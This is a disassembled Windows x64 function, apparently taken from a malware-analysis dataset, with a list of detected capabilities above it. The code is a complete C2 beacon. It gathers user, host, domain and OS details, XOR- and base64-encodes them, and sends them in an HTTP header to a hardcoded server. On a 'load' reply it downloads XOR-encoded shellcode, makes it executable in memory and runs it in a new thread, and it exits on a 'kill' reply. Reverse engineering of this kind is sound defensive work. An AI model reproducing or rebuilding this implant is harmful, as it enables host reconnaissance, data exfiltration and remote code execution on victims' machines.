Function at 0x1400014e7
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Create thread
Encode data using base64 via winapi
Execute shellcode via indirect call
Get session user name
Query environment variable
Query or enumerate registry value
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0xc38
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_80.0.3987.132_Safari_537.36
mov qword [rbp + 0xba8], rax
lea rax, str.192.168.17.128
mov qword [rbp + 0xba0], rax
lea rax, str._test
mov qword [rbp + 0xb98], rax
mov dword [rbp + 0xb94], 0x50
mov dword [rbp + 0xa0c], 0x100
lea rdx, [rbp + 0xa0c]
lea rax, [rbp + 0xa10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xb90], eax
mov dword [rbp + 0x8fc], 0x100
mov edx, dword [rbp + 0x8fc]
lea rax, [rbp + 0x900]
mov r8d, edx
mov rdx, rax
lea rax, str.COMPUTERNAME
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
mov dword [rbp + 0xb8c], 0x100
mov edx, dword [rbp + 0xb8c]
lea rax, [rbp + 0x7f0]
mov r8d, edx
mov rdx, rax
lea rax, str.USERDOMAIN
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x6f0]
mov r8d, 0x100
mov rdx, rax
lea rax, str.PROCESSOR_ARCHITECTURE
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0x5f0]
mov r8d, 0x100
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x8fc]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x4f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.ProductName
lea rax, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegGetValueA]
call rax
lea rax, str.username_spid_dmachine_sdomain_sarch_sprocess_sversion_s
mov qword [rbp + 0xb80], rax
mov rax, qword [rbp + 0xb80]
mov rcx, rax
call sym.strlen
mov rbx, rax
lea rax, [rbp + 0xa10]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x900]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x7f0]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x6f0]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.strlen
add rax, rbx
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb78], rax
mov r9d, dword [rbp + 0xb90]
lea r8, [rbp + 0xa10]
mov rdx, qword [rbp + 0xb80]
mov rax, qword [rbp + 0xb78]
lea rcx, [rbp + 0x4f0]
mov qword [rsp + 0x40], rcx
lea rcx, [rbp + 0x5f0]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp + 0x6f0]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x7f0]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x900]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.sprintf
mov rax, qword [rbp + 0xb78]
mov rcx, rax
call sym.strlen
mov edx, eax
mov rax, qword [rbp + 0xb78]
mov rcx, rax
call sym.xor
mov rax, qword [rbp + 0xb78]
mov rcx, rax
call sym.strlen
add rax, rax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb70], rax
mov rax, qword [rbp + 0xb78]
mov rcx, rax
call sym.strlen
add eax, eax
mov dword [rbp + 0x4ec], eax
mov rax, qword [rbp + 0xb78]
mov rcx, rax
call sym.strlen
mov r10d, eax
mov rcx, qword [rbp + 0xb70]
mov rax, qword [rbp + 0xb78]
lea rdx, [rbp + 0x4ec]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x40000001
mov edx, r10d
mov rcx, rax
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
mov rax, rsp
mov rbx, rax
mov rax, qword [rbp + 0xba8]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xb68], rax
mov eax, dword [rbp + 0xb94]
movzx ecx, ax
mov rdx, qword [rbp + 0xba0]
mov rax, qword [rbp + 0xb68]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0xb60], rax
mov rdx, qword [rbp + 0xb98]
mov rax, qword [rbp + 0xb60]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x14000a13e]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0xb58], rax
mov rax, qword [rbp + 0xb70]
mov rcx, rax
call sym.strlen
add rax, 0xe
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0xb50], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002e20
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0xb48], rax
mov rdx, qword [rbp + 0xb70]
mov rax, qword [rbp + 0xb48]
mov r8, rdx
lea rdx, str.X_Session_ID:__s
mov rcx, rax
call sym.sprintf
mov rax, qword [rbp + 0xb48]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp + 0xb48]
mov rax, qword [rbp + 0xb58]
mov r9d, 0xa0000000
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
call rax
mov rax, qword [rbp + 0xb58]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x4e8], 0x400
lea rcx, [rbp + 0x4e8]
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0xb58]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 0x2b
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpQueryInfoA]
call rax
mov dword [rbp + 0x4e4], 0x100
lea rcx, [rbp + 0x4e4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0xb58]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 5
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpQueryInfoA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0xb44], eax
mov eax, dword [rbp + 0xb44]
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb38], rax
mov dword [rbp + 0x4e0], 0
lea r8, [rbp + 0x4e0]
mov ecx, dword [rbp + 0xb44]
mov rdx, qword [rbp + 0xb38]
mov rax, qword [rbp + 0xb58]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov rax, qword [rbp + 0xb58]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xb60]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xb68]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, str.___Request_sent_r_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0xb48]
mov rdx, rax
lea rax, str.___Data:__s_r_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x4e0]
mov edx, eax
lea rax, str.____Received_response_of_size__d_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0xd0]
movzx eax, byte [rax]
test al, al
je 0x140001d11
lea rax, [rbp + 0xd0]
lea rdx, [0x14000a19a]
mov rcx, rax
call sym.strtok
mov qword [rbp + 0xb30], rax
lea rax, [0x14000a19c]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0xb28], rax
mov rax, qword [rbp + 0xb30]
lea rdx, str.session
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001b77
mov rax, qword [rbp + 0xb28]
lea rdx, str.kill
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001b77
lea rax, str.___Killing_process_r_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0xb30]
lea rdx, str.session
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001d11
mov rax, qword [rbp + 0xb28]
lea rdx, str.load
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001d11
mov eax, dword [rbp + 0x4e0]
mov edx, eax
lea rax, str.____Received_shellcode_of_size__d_r_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x4e0]
mov edx, eax
mov rax, qword [rbp + 0xb38]
mov rcx, rax
call sym.xor
mov dword [rbp + 0x4d8], 4
mov eax, dword [rbp + 0x4e0]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov rdx, rax
lea rax, str.____Allocated_memory_at__p_r_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x4e0]
mov ecx, eax
mov rdx, qword [rbp + 0xb38]
mov rax, qword [rbp + 0xb20]
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, str.____Copied_shellcode_to_memory_r_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x4e0]
mov ecx, eax
lea rdx, [rbp + 0x4d8]
mov rax, qword [rbp + 0xb20]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, str.____Changed_memory_protection_r_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0xb20]
lea rax, [rbp + 0x4dc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xb18], rax
lea rax, str.____Created_thread_r_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0xb18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rax, str.____Thread_finished_r_n
mov rcx, rax
call sym.printf
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rsp, rbx
jmp 0x1400017e4